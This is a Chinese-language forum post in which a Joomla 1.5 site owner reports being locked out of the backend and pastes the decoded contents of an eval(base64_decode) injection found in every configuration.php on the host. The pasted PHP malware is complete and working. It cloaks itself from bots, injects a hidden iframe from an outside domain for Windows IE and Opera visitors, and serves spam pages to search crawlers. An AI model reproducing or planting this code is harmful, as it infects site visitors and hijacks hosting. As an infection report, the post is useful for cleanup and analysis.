一个星期以来，我一直在尝试登录我的 joomla 1.5 网站的后端。它只是不断返回登录页面而没有任何错误。当我查看 configuration.php 文件时，它显示为使用以下模式编码的字符串：
<?php eval(base64_decode('string here';))) />
当我使用在线服务对其进行解码时，它看起来是这样的：
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = @file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) @unlink($f); else @touch($f); } else { if($fp = @fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = @file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = @fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = @strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) @unlink($odbf); if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){ if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
我检查了托管空间上的其他 Joomla 安装，发现所有 configuration.php 都是相同的。
该怎么办？
请帮忙
